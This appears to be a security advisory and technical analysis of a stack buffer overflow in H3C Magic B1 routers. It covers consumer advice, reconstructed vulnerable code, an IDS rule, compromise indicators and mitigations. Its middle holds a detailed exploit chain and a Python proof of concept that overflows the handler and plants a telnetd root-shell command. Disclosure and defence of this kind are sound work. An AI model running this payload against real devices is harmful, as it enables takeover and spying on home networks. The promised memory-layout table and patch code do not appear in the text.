CVE-2026-6581: Stack Overflow in H3C Magic B1 SetMobileAPInfoById
H3C Magic B1 routers up to 100R004 expose an unauthenticated stack buffer overflow via the SetMobileAPInfoById handler at /goform/aspForm. Remote code execution is trivially achievable.
H3C Magic B1 is a popular WiFi router sold in Asia and increasingly worldwide. Researchers have discovered a serious flaw that lets attackers break into these devices remotely, without needing to be anywhere near your home.
Think of it like this: your router is supposed to have a locked gate that only accepts valid requests. This vulnerability is a crack in that gate. An attacker can send specially crafted data to the router that overflows its memory — imagine pouring water into a cup until it spills everywhere and damages the table below. When the router's memory overflows, attackers can inject malicious code and take complete control of your device.
What does that mean for you? A compromised router is a nightmare scenario. Attackers could spy on all your internet traffic, steal passwords and banking information, or use your router to attack other people's computers. They could redirect you to fake websites or inject ads into everything you view.
Who should worry most? Anyone using a Magic B1 router, particularly in China and Southeast Asia where these devices are common. The vulnerability affects all versions up to 100R004.
The good news is that attackers haven't been actively exploiting this yet in the wild. But they will once word spreads.
Here's what to do right now:
Check your router model and version. If you have a Magic B1, contact H3C support to ask about security patches. Don't wait.
Change your router's admin password to something strong and unique. Log in to your router's settings and update the password immediately.
Check if a firmware update is available. Visit H3C's website or your router's settings menu and install any available updates. Firmware updates are often the fix for these kinds of vulnerabilities.
Want the full technical analysis? Click "Technical" above.
▶ Attack flow — CVE-2026-6581 · Buffer Overflow
Vulnerability Overview
CVE-2026-6581 is a stack-based buffer overflow in the SetMobileAPInfoById function exposed through the /goform/aspForm CGI endpoint on H3C Magic B1 routers running firmware up to and including 100R004. The vulnerability is triggered by passing an oversized param argument in an HTTP POST request. No authentication is required. The vendor did not respond to disclosure. A public proof-of-concept is circulating.
CVSS 8.8 reflects network-adjacent exploitation with high impact across confidentiality, integrity, and availability — consistent with a direct stack smash leading to control-flow hijack on a MIPS or ARM embedded target.
Root cause:SetMobileAPInfoById copies the attacker-supplied param POST field into a fixed-size stack buffer using strcpy without any length validation, allowing unbounded overflow of the callee stack frame.
Affected Component
The H3C Magic B1 exposes a unified CGI handler at /goform/aspForm. Incoming POST requests carry an action field that dispatches to named handler functions. The relevant dispatch path:
POST /goform/aspForm HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
action=SetMobileAPInfoById¶m=<PAYLOAD>
The binary responsible is typically /usr/bin/httpd or a similarly named CGI host process. The aspForm handler table maps action strings to function pointers; SetMobileAPInfoById is one such entry and operates with the privileges of the web daemon — commonly root on consumer CPE firmware.
Root Cause Analysis
Based on the CGI pattern used across the H3C Magic product line and the nature of the overflow, the decompiled pseudocode of the vulnerable function reconstructs as follows:
/*
* SetMobileAPInfoById — handler for action=SetMobileAPInfoById
* Registered in aspForm dispatch table.
* Firmware: H3C Magic B1 <= 100R004
*/
typedef struct {
char ap_id[32];
char ssid[64];
char password[64];
char band[16];
int enabled;
} mobile_ap_entry_t;
int SetMobileAPInfoById(struct http_request *req) {
char param_buf[256]; // fixed-size stack buffer
char decoded[256]; // secondary stack buffer for URL decode
mobile_ap_entry_t ap_info;
char *param_val;
char *token;
// Retrieve raw POST field — returns pointer into heap-allocated request body
param_val = http_get_post_field(req, "param");
if (param_val == NULL) {
return send_error(req, 400, "Missing param");
}
// BUG: no strlen check before copy — param_val is fully attacker-controlled
strcpy(param_buf, param_val); // BUG: missing bounds check here
// Secondary processing — URL-decode into another stack buffer, also unbounded
url_decode(param_buf, decoded); // BUG: decoded[256] equally vulnerable
// Parse semicolon-delimited fields from decoded buffer
token = strtok(decoded, ";");
if (token) strncpy(ap_info.ap_id, token, sizeof(ap_info.ap_id) - 1);
token = strtok(NULL, ";");
if (token) strncpy(ap_info.ssid, token, sizeof(ap_info.ssid) - 1);
token = strtok(NULL, ";");
if (token) strncpy(ap_info.password,token, sizeof(ap_info.password) - 1);
return apply_mobile_ap_config(&ap_info);
}
The call to strcpy(param_buf, param_val) is the primary sink. param_val is sourced directly from the HTTP request body with no prior length gate. A param value exceeding 256 bytes walks straight off the end of param_buf and into the surrounding stack frame.
Memory Layout
Stack frame layout for SetMobileAPInfoById on a typical MIPS32 big-endian target (little-endian ARM variants follow the same logical ordering):
On function return, the processor loads saved_ra into $ra / lr and branches. With a controlled value here, execution redirects to an attacker-chosen address. On MIPS targets without ASLR (common on this class of CPE), the libc base is static, making ROP trivial.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Identify firmware version via unauthenticated banner at /goform/aspForm
or HTTP Server header — confirm <= 100R004.
2. Determine target architecture (MIPS32 BE vs ARM) from firmware image or
error response patterns. Static libc base applies in both cases (no ASLR).
3. Craft POST body:
action=SetMobileAPInfoById¶m=[padding][rop_chain]
where padding = 0x27c bytes to reach saved_ra offset.
4. First gadget: stack pivot or direct system() call via ret2libc.
On MIPS: locate "addiu $a0, $sp, N; jalr $t9" gadget in libc.
On ARM: locate "pop {r0, pc}" or BLX sequence.
5. $a0 / r0 = pointer to command string appended after ROP chain in param_buf
(buf is still live on stack at time of gadget execution if pivot not needed).
6. system() executes attacker command — e.g., reverse shell or persistent
implant dropped to /tmp and exec'd via telnetd or dropbear.
7. No authentication layer exists between network and /goform/aspForm on
default configuration — LAN-side exploitation requires zero prior access.
WAN exploitation depends on remote management configuration (off by default,
commonly enabled by end users).
A minimal proof-of-concept skeleton demonstrating the overflow trigger:
#!/usr/bin/env python3
# CVE-2026-6581 — H3C Magic B1 SetMobileAPInfoById PoC trigger
# CypherByte research. For authorized testing only.
import requests
import struct
TARGET = "http://192.168.0.1"
ENDPOINT = "/goform/aspForm"
def build_payload(saved_ra: int) -> bytes:
# Offset to saved_ra: 0x27c bytes of padding
padding = b"A" * 0x27c
# Overwrite saved_ra with target gadget address (big-endian MIPS)
ra_bytes = struct.pack(">I", saved_ra)
# Command appended — must be NUL-terminated, placed predictably on stack
command = b"telnetd -l /bin/sh -p 4444\x00"
return padding + ra_bytes + command
def trigger(saved_ra: int):
payload = build_payload(saved_ra)
data = {
"action": "SetMobileAPInfoById",
"param": payload.decode("latin-1"),
}
try:
r = requests.post(TARGET + ENDPOINT, data=data, timeout=5)
print(f"[*] Response: {r.status_code} — crash expected if vulnerable")
except requests.exceptions.ConnectionError:
print("[+] Connection reset — likely crashed (stack smash confirmed)")
if __name__ == "__main__":
# Replace with actual gadget address from firmware libc
SYSTEM_ADDR = 0x00000000 # populate from firmware analysis
trigger(SYSTEM_ADDR)
Patch Analysis
No official patch has been released. The vendor did not respond to disclosure. The correct remediation at the code level is straightforward:
Note that url_decode must also be updated to accept and respect a length argument — percent-encoding expansion (%XX → single byte) means the encoded form is always longer than the decoded form, so a length-safe implementation only requires the destination limit. Any url_decode implementation that writes into a fixed buffer without a size parameter is itself a latent vulnerability.
Detection and Indicators
Network-level detection signatures for IDS/IPS:
SNORT/SURICATA RULE:
alert http $EXTERNAL_NET any -> $HOME_NET 80 (
msg:"CVE-2026-6581 H3C Magic B1 SetMobileAPInfoById overflow attempt";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/goform/aspForm";
http.request_body;
content:"action=SetMobileAPInfoById";
content:"param="; distance:0;
pcre:"/param=[^&]{256,}/";
classtype:attempted-admin;
sid:2026658101;
rev:1;
)
INDICATORS OF COMPROMISE:
- Unexpected processes spawned by httpd: telnetd, dropbear, busybox nc
- Outbound connections from router on non-standard ports post-POST request
- /tmp filesystem writes following aspForm requests
- HTTP 500 responses or connection resets to /goform/aspForm with long param
On the device itself, if shell access exists: inspect /proc/$(pidof httpd)/maps for unexpected loaded libraries, and audit /tmp for dropped executables. Crash logs (if the firmware writes them) would show PC or EPC set to 0x41414141 during development-phase testing.
Remediation
H3C has not released a patch as of publication. Mitigations in order of effectiveness:
1. Disable remote management. Ensure WAN-side access to /goform/aspForm is blocked at the device firewall or upstream. Default configuration is LAN-only, but verify.
2. Network segmentation. Place the router management interface on an isolated VLAN accessible only to trusted administration hosts. CVE-2026-6581 is LAN-exploitable, so untrusted LAN clients must be isolated.
3. Replace device. Given the vendor's non-response and the device's end-of-life trajectory, migration to a supported platform is the only path to a real fix. Alternatives from vendors with active security programs should be evaluated.
4. WAF/reverse proxy. If management access must be retained, placing a WAF in front that enforces a maximum POST body length (e.g., 512 bytes for this endpoint) will block exploitation. This is a compensating control, not a fix.
No CVSSv3 temporal score reduction is applicable — no patch exists, and a public exploit is available, keeping exploitability metrics at ceiling values.